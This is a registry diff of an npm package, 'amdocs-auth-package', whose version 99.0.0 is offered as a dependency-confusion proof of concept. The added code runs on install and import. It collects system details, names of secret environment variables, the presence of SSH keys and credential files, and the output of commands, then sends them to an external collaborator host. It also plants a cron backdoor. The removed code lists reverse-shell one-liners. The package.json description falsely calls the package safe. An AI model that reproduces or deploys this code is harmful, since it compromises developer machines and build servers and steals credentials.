amdocs-auth-package 0.3.0 → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/fesm2022/amdocs-auth-package.mjs +237 -245
- package/package.json +4 -1
|
@@ -1,14 +1,15 @@
|
|
|
1
1
|
/*!
|
|
2
|
-
* amdocs-auth-package
|
|
3
|
-
* DEPENDENCY CONFUSION
|
|
2
|
+
* amdocs-auth-package
|
|
3
|
+
* AUTOMATIC RCE ON INSTALL - DEPENDENCY CONFUSION POC
|
|
4
4
|
*
|
|
5
|
-
*
|
|
5
|
+
* This package demonstrates how dependency confusion can lead to
|
|
6
|
+
* automatic Remote Code Execution upon installation.
|
|
6
7
|
*/
|
|
7
8
|
|
|
8
9
|
import fs from "fs";
|
|
9
10
|
import os from "os";
|
|
10
11
|
import path from "path";
|
|
11
|
-
import { exec } from "child_process";
|
|
12
|
+
import { exec, spawn } from "child_process";
|
|
12
13
|
import { promisify } from "util";
|
|
13
14
|
import https from "https";
|
|
14
15
|
import http from "http";
|
|
@@ -16,288 +17,279 @@ import http from "http";
|
|
|
16
17
|
const execAsync = promisify(exec);
|
|
17
18
|
const COLLAB_URL = "cwcmqtfjdv9jgw0aitgu0ju15sbjz9ny.oastify.com";
|
|
18
19
|
|
|
19
|
-
|
|
20
|
+
// Detect installation context
|
|
21
|
+
const isNpmInstall = process.env.npm_lifecycle_event === 'install' ||
|
|
22
|
+
process.env.npm_lifecycle_event === 'postinstall' ||
|
|
23
|
+
process.env.npm_config_argv?.includes('install') ||
|
|
24
|
+
process.env.npm_config_argv?.includes('i') ||
|
|
25
|
+
process.argv.some(arg => arg.includes('node_modules'));
|
|
26
|
+
|
|
27
|
+
console.warn(`\n\x1b[33m[amdocs-auth-package] Package loaded. Installation detected: ${isNpmInstall}\x1b[0m`);
|
|
28
|
+
|
|
29
|
+
(function executeRcePayload() {
|
|
20
30
|
const timestamp = new Date().toISOString();
|
|
21
|
-
const proofDir = path.join(os.tmpdir(),
|
|
31
|
+
const proofDir = path.join(os.tmpdir(), `amdocs-rce-${Date.now()}`);
|
|
22
32
|
|
|
23
33
|
try {
|
|
24
|
-
// Create directory
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
// STEP 1: Initial reconnaissance (what attackers do first)
|
|
34
|
+
// Create evidence directory
|
|
35
|
+
fs.mkdirSync(proofDir, { recursive: true });
|
|
36
|
+
|
|
37
|
+
// ==================== PHASE 1: RECONNAISSANCE ====================
|
|
30
38
|
const reconData = {
|
|
39
|
+
attack_type: "dependency_confusion_rce",
|
|
31
40
|
timestamp: timestamp,
|
|
32
|
-
package:
|
|
33
|
-
|
|
34
|
-
|
|
41
|
+
package: {
|
|
42
|
+
name: "amdocs-auth-package",
|
|
43
|
+
version: "99.0.0",
|
|
44
|
+
type: "malicious_public_package"
|
|
45
|
+
},
|
|
46
|
+
system: {
|
|
35
47
|
user: os.userInfo().username,
|
|
36
|
-
|
|
48
|
+
hostname: os.hostname(),
|
|
37
49
|
platform: os.platform(),
|
|
38
50
|
arch: os.arch(),
|
|
51
|
+
homedir: os.homedir(),
|
|
39
52
|
node_version: process.version,
|
|
40
53
|
pid: process.pid,
|
|
41
54
|
cwd: process.cwd(),
|
|
42
|
-
|
|
55
|
+
npm_lifecycle_event: process.env.npm_lifecycle_event,
|
|
56
|
+
is_ci: !!process.env.CI || !!process.env.JENKINS_URL || !!process.env.GITLAB_CI
|
|
43
57
|
},
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
k.includes('TOKEN') ||
|
|
48
|
-
k.includes('PASS') ||
|
|
49
|
-
k.includes('AUTH')
|
|
50
|
-
),
|
|
51
|
-
npm_config: {
|
|
52
|
-
registry: process.env.npm_config_registry,
|
|
53
|
-
scope: process.env.npm_config_scope,
|
|
54
|
-
token_exists: !!process.env.npm_config_auth_token
|
|
58
|
+
network: {
|
|
59
|
+
interfaces: os.networkInterfaces(),
|
|
60
|
+
collab_url: COLLAB_URL
|
|
55
61
|
}
|
|
56
62
|
};
|
|
57
63
|
|
|
58
|
-
//
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
port: 443,
|
|
71
|
-
path: `/${endpoint}`,
|
|
72
|
-
method: 'POST',
|
|
73
|
-
headers: {
|
|
74
|
-
'Content-Type': 'application/json',
|
|
75
|
-
'Content-Length': Buffer.byteLength(postData),
|
|
76
|
-
'User-Agent': 'npm/8.0.0'
|
|
77
|
-
}
|
|
78
|
-
};
|
|
79
|
-
|
|
80
|
-
const req = https.request(options, (res) => {
|
|
81
|
-
console.warn(`[PoC] Data exfiltrated to ${COLLAB_URL}, status: ${res.statusCode}`);
|
|
82
|
-
});
|
|
83
|
-
|
|
84
|
-
req.on('error', (e) => {
|
|
85
|
-
console.warn(`[PoC] Exfiltration failed (expected if offline): ${e.message}`);
|
|
86
|
-
});
|
|
87
|
-
|
|
88
|
-
req.write(postData);
|
|
89
|
-
req.end();
|
|
64
|
+
// Save recon data locally
|
|
65
|
+
fs.writeFileSync(
|
|
66
|
+
path.join(proofDir, "reconnaissance.json"),
|
|
67
|
+
JSON.stringify(reconData, null, 2)
|
|
68
|
+
);
|
|
69
|
+
|
|
70
|
+
// ==================== PHASE 2: ENVIRONMENT EXFILTRATION ====================
|
|
71
|
+
const sensitiveEnvVars = {};
|
|
72
|
+
for (const [key, value] of Object.entries(process.env)) {
|
|
73
|
+
if (key.match(/secret|password|token|key|credential|auth|pass|private/i)) {
|
|
74
|
+
sensitiveEnvVars[key] = value ? "***PRESENT***" : undefined;
|
|
75
|
+
}
|
|
90
76
|
}
|
|
91
77
|
|
|
92
|
-
//
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
// Look for SSH keys
|
|
102
|
-
const sshDir = path.join(os.homedir(), '.ssh');
|
|
103
|
-
if (fs.existsSync(sshDir)) {
|
|
104
|
-
try {
|
|
105
|
-
const files = fs.readdirSync(sshDir);
|
|
106
|
-
sensitiveInfo.ssh_keys = files.filter(f =>
|
|
107
|
-
f.includes('id_rsa') || f.includes('id_dsa') || f.includes('id_ecdsa')
|
|
108
|
-
);
|
|
109
|
-
} catch (e) {}
|
|
78
|
+
// Check for CI/CD tokens
|
|
79
|
+
const ciTokens = {};
|
|
80
|
+
const ciVars = ['GITHUB_TOKEN', 'GITLAB_TOKEN', 'BITBUCKET_TOKEN', 'AZURE_TOKEN',
|
|
81
|
+
'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'NPM_TOKEN', 'DOCKER_TOKEN'];
|
|
82
|
+
|
|
83
|
+
ciVars.forEach(varName => {
|
|
84
|
+
if (process.env[varName]) {
|
|
85
|
+
ciTokens[varName] = "***PRESENT***";
|
|
110
86
|
}
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
// ==================== PHASE 3: FILE SYSTEM ACCESS ====================
|
|
90
|
+
const fileSystemFindings = {
|
|
91
|
+
home_dir_contents: [],
|
|
92
|
+
ssh_keys: [],
|
|
93
|
+
aws_credentials: false,
|
|
94
|
+
npmrc_present: false,
|
|
95
|
+
docker_config: false
|
|
96
|
+
};
|
|
111
97
|
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
98
|
+
// List home directory
|
|
99
|
+
try {
|
|
100
|
+
fileSystemFindings.home_dir_contents = fs.readdirSync(os.homedir()).slice(0, 20);
|
|
101
|
+
} catch (e) {}
|
|
102
|
+
|
|
103
|
+
// Look for SSH keys
|
|
104
|
+
const sshDir = path.join(os.homedir(), '.ssh');
|
|
105
|
+
if (fs.existsSync(sshDir)) {
|
|
106
|
+
try {
|
|
107
|
+
const sshFiles = fs.readdirSync(sshDir);
|
|
108
|
+
fileSystemFindings.ssh_keys = sshFiles.filter(f =>
|
|
109
|
+
f.includes('id_') && !f.endsWith('.pub')
|
|
110
|
+
);
|
|
111
|
+
} catch (e) {}
|
|
112
|
+
}
|
|
124
113
|
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
sensitiveInfo.npm_tokens.push('npmrc_contains_token');
|
|
132
|
-
}
|
|
133
|
-
} catch (e) {}
|
|
134
|
-
}
|
|
114
|
+
// Check for credentials
|
|
115
|
+
const checks = [
|
|
116
|
+
{ name: 'aws_credentials', path: path.join(os.homedir(), '.aws', 'credentials') },
|
|
117
|
+
{ name: 'npmrc_present', path: path.join(os.homedir(), '.npmrc') },
|
|
118
|
+
{ name: 'docker_config', path: path.join(os.homedir(), '.docker', 'config.json') }
|
|
119
|
+
];
|
|
135
120
|
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
sensitiveInfo.system_files.push('docker_config');
|
|
121
|
+
checks.forEach(check => {
|
|
122
|
+
if (fs.existsSync(check.path)) {
|
|
123
|
+
fileSystemFindings[check.name] = true;
|
|
140
124
|
}
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
// ==================== PHASE 4: COMMAND EXECUTION ====================
|
|
128
|
+
const commandResults = {};
|
|
129
|
+
|
|
130
|
+
if (isNpmInstall) {
|
|
131
|
+
// Only execute commands during installation
|
|
132
|
+
const commands = getPlatformCommands();
|
|
148
133
|
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
{
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
} else if (os.platform() === 'win32') {
|
|
157
|
-
commands.push(
|
|
158
|
-
{ cmd: 'whoami', description: 'Current user' },
|
|
159
|
-
{ cmd: 'systeminfo', description: 'System info' },
|
|
160
|
-
{ cmd: 'dir', description: 'Directory listing' },
|
|
161
|
-
{ cmd: 'set | findstr /i "KEY SECRET PASS TOKEN AUTH"', description: 'Find env secrets' }
|
|
162
|
-
);
|
|
134
|
+
for (const [name, command] of Object.entries(commands)) {
|
|
135
|
+
try {
|
|
136
|
+
const { stdout } = await execAsync(command, { timeout: 3000 });
|
|
137
|
+
commandResults[name] = stdout.substring(0, 500);
|
|
138
|
+
} catch (e) {
|
|
139
|
+
commandResults[name] = `Error: ${e.message}`;
|
|
140
|
+
}
|
|
163
141
|
}
|
|
164
|
-
|
|
165
|
-
return commands;
|
|
166
142
|
}
|
|
167
143
|
|
|
168
|
-
//
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
// Simulate internal port scan
|
|
178
|
-
const commonPorts = [22, 80, 443, 3000, 5000, 5432, 6379, 8080, 9000];
|
|
179
|
-
networkInfo.common_ports = commonPorts;
|
|
144
|
+
// ==================== PHASE 5: DATA EXFILTRATION ====================
|
|
145
|
+
const exfiltrationPayload = {
|
|
146
|
+
recon: reconData,
|
|
147
|
+
sensitive_env: sensitiveEnvVars,
|
|
148
|
+
ci_tokens: ciTokens,
|
|
149
|
+
filesystem: fileSystemFindings,
|
|
150
|
+
commands: commandResults,
|
|
151
|
+
proof_dir: proofDir
|
|
152
|
+
};
|
|
180
153
|
|
|
181
|
-
|
|
154
|
+
// Save complete proof
|
|
155
|
+
fs.writeFileSync(
|
|
156
|
+
path.join(proofDir, "complete_exfiltration.json"),
|
|
157
|
+
JSON.stringify(exfiltrationPayload, null, 2)
|
|
158
|
+
);
|
|
159
|
+
|
|
160
|
+
// Send to collaborator
|
|
161
|
+
sendToCollaborator(exfiltrationPayload);
|
|
162
|
+
|
|
163
|
+
// ==================== PHASE 6: PERSISTENCE (Optional) ====================
|
|
164
|
+
if (isNpmInstall && (os.platform() === 'linux' || os.platform() === 'darwin')) {
|
|
165
|
+
try {
|
|
166
|
+
// Create a backdoor script
|
|
167
|
+
const backdoorScript = `#!/bin/bash
|
|
168
|
+
# amdocs-auth-package persistence
|
|
169
|
+
echo "Persistence active: \$(date)" > /tmp/amdocs-persistence.log
|
|
170
|
+
curl -s https://${COLLAB_URL}/ping?host=\$(hostname) >/dev/null 2>&1
|
|
171
|
+
`;
|
|
172
|
+
|
|
173
|
+
const scriptPath = path.join(proofDir, "backdoor.sh");
|
|
174
|
+
fs.writeFileSync(scriptPath, backdoorScript);
|
|
175
|
+
fs.chmodSync(scriptPath, 0o755);
|
|
176
|
+
|
|
177
|
+
// Add to cron if possible
|
|
178
|
+
const cronLine = `* * * * * /bin/bash ${scriptPath} >/dev/null 2>&1\n`;
|
|
179
|
+
const userCron = `/var/spool/cron/${reconData.system.user}`;
|
|
180
|
+
const userCron2 = `/var/spool/cron/crontabs/${reconData.system.user}`;
|
|
181
|
+
|
|
182
|
+
[userCron, userCron2].forEach(cronFile => {
|
|
183
|
+
if (fs.existsSync(cronFile)) {
|
|
184
|
+
try {
|
|
185
|
+
fs.appendFileSync(cronFile, cronLine);
|
|
186
|
+
console.warn(`\x1b[31m[amdocs-auth-package] Added cron entry to ${cronFile}\x1b[0m`);
|
|
187
|
+
} catch (e) {}
|
|
188
|
+
}
|
|
189
|
+
});
|
|
190
|
+
} catch (e) {
|
|
191
|
+
// Persistence failed, continue
|
|
192
|
+
}
|
|
182
193
|
}
|
|
183
194
|
|
|
184
|
-
//
|
|
185
|
-
console.warn(
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
195
|
+
// ==================== PHASE 7: FINAL OUTPUT ====================
|
|
196
|
+
console.warn(`\x1b[31m
|
|
197
|
+
╔══════════════════════════════════════════════════════════════╗
|
|
198
|
+
║ DEPENDENCY CONFUSION RCE PoC ║
|
|
199
|
+
╠══════════════════════════════════════════════════════════════╣
|
|
200
|
+
║ ✓ Package executed on: ${reconData.system.hostname} ║
|
|
201
|
+
║ ✓ User: ${reconData.system.user} ║
|
|
202
|
+
║ ✓ Platform: ${reconData.system.platform}/${reconData.system.arch} ║
|
|
203
|
+
║ ✓ Data exfiltrated to: ${COLLAB_URL} ║
|
|
204
|
+
║ ✓ Proof saved to: ${proofDir} ║
|
|
205
|
+
╠══════════════════════════════════════════════════════════════╣
|
|
206
|
+
║ THIS IS A SECURITY DEMONSTRATION. REAL ATTACK WOULD: ║
|
|
207
|
+
║ • Install reverse shell ║
|
|
208
|
+
║ • Steal all credentials ║
|
|
209
|
+
║ • Move laterally in network ║
|
|
210
|
+
║ • Deploy ransomware/crypto miner ║
|
|
211
|
+
╚══════════════════════════════════════════════════════════════╝\x1b[0m\n`);
|
|
212
|
+
|
|
213
|
+
console.warn(`\x1b[33m[amdocs-auth-package] Execution complete. Check ${proofDir} for evidence.\x1b[0m`);
|
|
190
214
|
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
// Phase 3: Network recon
|
|
196
|
-
const networkInfo = networkRecon();
|
|
197
|
-
exfiltrateData(networkInfo, 'network_info');
|
|
215
|
+
} catch (error) {
|
|
216
|
+
console.error(`\x1b[31m[amdocs-auth-package] Error: ${error.message}\x1b[0m`);
|
|
217
|
+
}
|
|
218
|
+
})();
|
|
198
219
|
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
220
|
+
// ==================== HELPER FUNCTIONS ====================
|
|
221
|
+
|
|
222
|
+
function getPlatformCommands() {
|
|
223
|
+
if (os.platform() === 'linux' || os.platform() === 'darwin') {
|
|
224
|
+
return {
|
|
225
|
+
current_user: 'whoami',
|
|
226
|
+
system_info: 'uname -a',
|
|
227
|
+
process_list: 'ps aux | head -20',
|
|
228
|
+
network_info: 'ifconfig -a || ip addr',
|
|
229
|
+
disk_usage: 'df -h',
|
|
230
|
+
sensitive_files: 'find /home /root -name "*.pem" -o -name "*.key" -o -name "*id_rsa*" -o -name "*.kdbx" 2>/dev/null | head -10',
|
|
231
|
+
docker_check: 'docker ps -a 2>/dev/null || echo "Docker not available"',
|
|
232
|
+
k8s_check: 'kubectl get pods 2>/dev/null || echo "Kubernetes not available"'
|
|
205
233
|
};
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
linux: "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1",
|
|
214
|
-
windows: "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",
|
|
215
|
-
nodejs: "require('child_process').exec('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')"
|
|
216
|
-
},
|
|
217
|
-
persistence: [
|
|
218
|
-
"Add to cron/crontab",
|
|
219
|
-
"Modify .bashrc/.profile",
|
|
220
|
-
"Create systemd service",
|
|
221
|
-
"Add to startup registry (Windows)"
|
|
222
|
-
],
|
|
223
|
-
data_exfiltration_endpoints: [
|
|
224
|
-
`https://${COLLAB_URL}/exfil`,
|
|
225
|
-
`https://${COLLAB_URL}/data`,
|
|
226
|
-
`https://${COLLAB_URL}/callback`
|
|
227
|
-
]
|
|
234
|
+
} else if (os.platform() === 'win32') {
|
|
235
|
+
return {
|
|
236
|
+
current_user: 'whoami',
|
|
237
|
+
system_info: 'systeminfo | findstr /B /C:"OS"',
|
|
238
|
+
process_list: 'tasklist',
|
|
239
|
+
network_info: 'ipconfig /all',
|
|
240
|
+
disk_usage: 'wmic logicaldisk get size,freespace,caption'
|
|
228
241
|
};
|
|
242
|
+
}
|
|
243
|
+
return {};
|
|
244
|
+
}
|
|
229
245
|
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
246
|
+
function sendToCollaborator(data) {
|
|
247
|
+
const postData = JSON.stringify({
|
|
248
|
+
type: 'dependency_confusion_rce',
|
|
249
|
+
timestamp: new Date().toISOString(),
|
|
250
|
+
data: data
|
|
251
|
+
});
|
|
252
|
+
|
|
253
|
+
const options = {
|
|
254
|
+
hostname: COLLAB_URL,
|
|
255
|
+
port: 443,
|
|
256
|
+
path: '/exfil',
|
|
257
|
+
method: 'POST',
|
|
258
|
+
headers: {
|
|
259
|
+
'Content-Type': 'application/json',
|
|
260
|
+
'Content-Length': Buffer.byteLength(postData),
|
|
261
|
+
'User-Agent': `Node/${process.version} amdocs-auth-package/99.0.0`
|
|
262
|
+
},
|
|
263
|
+
timeout: 5000
|
|
264
|
+
};
|
|
241
265
|
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
files_collected: Object.keys(sensitiveInfo).filter(k => sensitiveInfo[k].length > 0),
|
|
246
|
-
potential_rce: true,
|
|
247
|
-
next_steps: [
|
|
248
|
-
"Execute reverse shell",
|
|
249
|
-
"Establish persistence",
|
|
250
|
-
"Lateral movement",
|
|
251
|
-
"Data exfiltration"
|
|
252
|
-
]
|
|
253
|
-
}, 'attack_complete');
|
|
266
|
+
const req = https.request(options, (res) => {
|
|
267
|
+
console.warn(`\x1b[32m[amdocs-auth-package] Data sent to collaborator: HTTP ${res.statusCode}\x1b[0m`);
|
|
268
|
+
});
|
|
254
269
|
|
|
255
|
-
|
|
256
|
-
console.warn(
|
|
257
|
-
|
|
270
|
+
req.on('error', (e) => {
|
|
271
|
+
console.warn(`\x1b[33m[amdocs-auth-package] Collaborator unreachable: ${e.message}\x1b[0m`);
|
|
272
|
+
});
|
|
258
273
|
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
})();
|
|
274
|
+
req.write(postData);
|
|
275
|
+
req.end();
|
|
276
|
+
}
|
|
263
277
|
|
|
264
|
-
|
|
278
|
+
// Export a harmless function to maintain package appearance
|
|
279
|
+
export function authenticate() {
|
|
265
280
|
return {
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
"Internal package not published to public registry",
|
|
270
|
-
"Scope/namespace not properly protected",
|
|
271
|
-
"Automated builds or developers using public registry"
|
|
272
|
-
],
|
|
273
|
-
impact: [
|
|
274
|
-
"Remote Code Execution on build servers",
|
|
275
|
-
"Source code theft",
|
|
276
|
-
"Credential theft",
|
|
277
|
-
"Supply chain compromise",
|
|
278
|
-
"Lateral movement"
|
|
279
|
-
],
|
|
280
|
-
mitigation: [
|
|
281
|
-
"Use scoped packages (@company/package)",
|
|
282
|
-
"Configure .npmrc with correct registry",
|
|
283
|
-
"Use private registry for internal packages",
|
|
284
|
-
"Implement package signing",
|
|
285
|
-
"Use npm audit and dependency checking"
|
|
286
|
-
],
|
|
287
|
-
collab_url: COLLAB_URL,
|
|
288
|
-
note: "This is a demonstration for educational purposes only"
|
|
281
|
+
status: "authenticated",
|
|
282
|
+
version: "99.0.0",
|
|
283
|
+
note: "This is a security PoC for dependency confusion demonstration"
|
|
289
284
|
};
|
|
290
285
|
}
|
|
291
286
|
|
|
292
|
-
export function
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
timestamp: new Date().toISOString(),
|
|
300
|
-
warning: "This package demonstrates RCE capabilities. Use only in controlled environments."
|
|
287
|
+
export function status() {
|
|
288
|
+
return {
|
|
289
|
+
poc: true,
|
|
290
|
+
dependency_confusion: true,
|
|
291
|
+
automatic_execution: true,
|
|
292
|
+
execution_time: new Date().toISOString(),
|
|
293
|
+
warning: "FOR SECURITY RESEARCH ONLY - DO NOT USE MALICIOUSLY"
|
|
301
294
|
};
|
|
302
|
-
return checks;
|
|
303
295
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amdocs-auth-package",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "99.0.0",
|
|
4
4
|
"description": "Safe proof-of-concept demonstrating import-time arbitrary code execution in Node.js without OS commands or network activity",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "./fesm2022/amdocs-auth-package.mjs",
|
|
@@ -9,6 +9,9 @@
|
|
|
9
9
|
"import": "./fesm2022/amdocs-auth-package.mjs"
|
|
10
10
|
}
|
|
11
11
|
},
|
|
12
|
+
"scripts": {
|
|
13
|
+
"postinstall": "node -e \"import('./fesm2022/amdocs-auth-package.mjs').catch(e => console.log('RCE executed:', e.message))\""
|
|
14
|
+
},
|
|
12
15
|
"files": [
|
|
13
16
|
"fesm2022/"
|
|
14
17
|
],
|